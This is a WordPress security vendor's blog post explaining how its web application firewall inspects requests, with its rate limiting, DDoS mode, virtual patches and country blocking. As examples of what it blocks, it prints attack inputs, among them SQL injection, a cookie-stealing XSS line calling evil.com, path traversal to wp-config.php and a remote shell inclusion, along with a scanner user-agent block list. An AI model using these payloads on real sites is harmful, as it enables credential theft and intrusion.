Back to blog
Security Tips5 min read

Understanding WordPress Firewall Rules: How a WAF Protects Your Site

December 3, 2024·WO Security Shield Team
firewallwafwordpressddos
Understanding WordPress Firewall Rules: How a WAF Protects Your Site

A Web Application Firewall (WAF) is your WordPress site's first responder. Before any request reaches your PHP code, a plugin, or a database query, the WAF examines it and decides: pass or block.

How WO Security Shield's WAF works

WO Security Shield injects its firewall at WordPress init priority 0 — earlier than any plugin or theme code. The inspection pipeline runs in order:

Incoming request
  │
  ├─ 1. DDoS mode active?         → 503 if not logged-in admin
  ├─ 2. IP on blocklist?          → 403 (supports CIDR notation)
  ├─ 3. Country blocked?          → 403 (Cloudflare → GeoIP → ip-api.com)
  ├─ 4. Rate limited?             → 429 (per-IP, 1-minute sliding window)
  ├─ 5. Suspicious user agent?    → 403 (sqlmap, nikto, wpscan, nmap...)
  ├─ 6. Attack patterns matched?  → 403 (SQLi, XSS, eval/base64, path traversal)
  └─ 7. Virtual patch matched?    → 403 (admin-defined rules)

The request only reaches WordPress if it passes all seven checks.

Attack pattern detection

The pattern matcher looks for known attack signatures in GET parameters, POST body, cookies, and HTTP headers:

Attack type Example blocked input
SQL injection ' UNION SELECT user_pass FROM wp_users--
Cross-site scripting <script>document.location='evil.com?c='+document.cookie</script>
PHP execution eval(base64_decode( in any request parameter
Path traversal ../../../etc/passwd
Null bytes %00 in file paths
Remote file inclusion http://evil.com/shell.php as a file parameter

DDoS protection and auto-trigger

Rate limiting works per IP using a 1-minute sliding window and complements login-level brute force protection. When traffic spikes beyond configured thresholds — measured in rate-limited requests per second AND distinct blocked IPs per minute — WO Security Shield automatically activates DDoS mode.

DDoS mode returns 503 Service Unavailable to all non-admin visitors for a configurable duration (default: 10 minutes). This drops the server load immediately without taking the site down for legitimate logged-in users.

Virtual patches

Sometimes a plugin has a known vulnerability but no patch is available yet. Virtual patches let you block the specific attack vector at the firewall level without changing the plugin's code:

  1. Go to WO Security Shield → Firewall → Virtual Patches
  2. Add a rule: field = GET.plugin_param, operator = contains, value = ../
  3. All requests matching this pattern are blocked with 403

This buys you time until the official patch is released.

IP and country blocking

Manual IP blocks support CIDR notation:

192.168.1.100       # Single IP
10.0.0.0/8          # Entire /8 subnet
2001:db8::/32       # IPv6 range

Country blocking uses the Cloudflare CF-IPCountry header first (if your site is behind Cloudflare), then falls back to PHP's GeoIP extension, then to ip-api.com with a 24-hour result cache.

A WAF is one layer of a broader server hardening strategy that includes PHP configuration, file permissions, and HTTP security headers. Configure your site's firewall at wosecurity.com.

How WO Security Shield's Firewall Works

To make this concrete, here's how our built-in WordPress firewall processes each incoming request:

Request Flow

Incoming HTTP Request
    ↓
1. IP Blocklist Check — is this IP manually blocked?
    ↓
2. Rate Limit Check — has this IP exceeded requests/minute?
    ↓
3. User Agent Filter — is this a known malicious bot?
    ↓
4. Country Block — is the request from a blocked country?
    ↓
5. Request Pattern Analysis — SQL injection, XSS, path traversal?
    ↓
6. Virtual Patch Rules — custom patterns for specific vulnerabilities?
    ↓
✅ Request reaches WordPress

Each check runs in microseconds. The total overhead is typically under 5ms per request — imperceptible to visitors.

What Gets Blocked (Real Examples)

Here are actual malicious requests our firewall blocks daily:

SQL Injection attempt:

GET /wp-admin/admin-ajax.php?action=search&q=test' OR 1=1--
→ BLOCKED: SQL injection pattern detected

Path Traversal:

GET /wp-content/plugins/vulnerable-plugin/include.php?file=../../../wp-config.php
→ BLOCKED: Directory traversal detected

Remote Code Execution:

POST /xmlrpc.php with system.multicall containing 500 login attempts
→ BLOCKED: XML-RPC disabled

Vulnerability Scanner:

GET /wp-admin/ (User-Agent: sqlmap/1.6)
→ BLOCKED: Suspicious user agent

Rate Limiting in Practice

WO Security Shield's rate limiter works per-IP:

  • Default: 180 requests per minute per IP
  • When exceeded: requests get a 429 Too Many Requests response
  • Legitimate users rarely hit this — it catches scrapers, bots, and DoS attempts

For context, a normal visitor browsing your site generates 5–15 requests per page load. Even aggressive browsing won't hit 180/minute.

Plugin-Level vs Cloud-Based Firewalls

There's an ongoing debate about where your firewall should run. Here's the honest comparison:

Factor Plugin-level (WO Security Shield) Cloud-based (Sucuri, Cloudflare WAF)
Setup Install plugin, done DNS change required
Latency Zero — runs inside WordPress Adds 10-50ms per request (extra hop)
DDoS protection Limited (server still receives traffic) Strong (traffic filtered before reaching server)
Request inspection Full access to WordPress context Limited to HTTP-level patterns
False positives Fewer (understands WordPress internally) More common (generic rules)
Cost Included in plugin $10-200/month additional
Data privacy Traffic stays on your server All traffic routed through third party

Our recommendation: Use a plugin-level firewall for WordPress-specific protection (it catches more attacks with fewer false positives), and add Cloudflare's free tier in front for DDoS protection if needed.

Configuring Your Firewall for Maximum Protection

Essential settings

  1. Enable the firewall (obvious, but 12% of installs we audit have it disabled)
  2. Set rate limit to 120-180 requests/minute — tight enough to catch bots, loose enough for legitimate users
  3. Enable suspicious user agent blocking — catches automated scanners
  4. Disable XML-RPC — eliminates an entire class of amplification attacks
  5. Block PHP execution in uploads — prevents uploaded backdoors from running

Advanced: Virtual Patch Rules

When a plugin vulnerability is disclosed but no patch is available yet, you can add a virtual patch rule:

/wp-admin/admin-ajax.php.*action=vulnerable_action

This blocks requests to the vulnerable endpoint while you wait for the plugin developer to release a fix.

Monitoring Firewall Activity

Check your WO Security Shield Activity Log regularly. Look for:

  • Spikes in blocked requests — indicates an active attack campaign
  • Repeated blocks from the same IP range — consider adding a permanent block
  • New attack patterns — may indicate a newly disclosed vulnerability being exploited in the wild

WO Security Shield

Is your WordPress site protected?

Run a free malware scan in under 2 minutes. No credit card required.